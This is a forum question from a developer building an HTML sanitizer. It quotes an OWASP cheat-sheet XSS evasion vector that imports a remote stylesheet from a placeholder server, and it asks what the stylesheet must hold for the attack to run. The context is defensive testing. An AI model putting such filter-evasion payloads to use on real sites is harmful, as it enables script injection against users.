title: Remote style sheet attack vector - xss
body: <p>I'm trying to create a sanitize function, It's almost done, there is one attack which bothers me (from <a href="https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Remote_style_sheet_part_2" rel="nofollow">https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#Remote_style_sheet_part_2</a> ):</p>
  
  <p><em>Remote style sheet part 2
  This works the same as above, but uses a STYLE tag instead of a LINK tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end /STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:
  <code>&lt;STYLE&gt;@import'http://myserver/xss.css';&lt;/STYLE&gt;</code></em></p>
  
  <p>The question is what am I supposed to put in the xss.css file for it to work? I tried alert('xss'), then <code>&lt;script&gt;alert('xss')&lt;/script&gt;</code>, neither works.</p>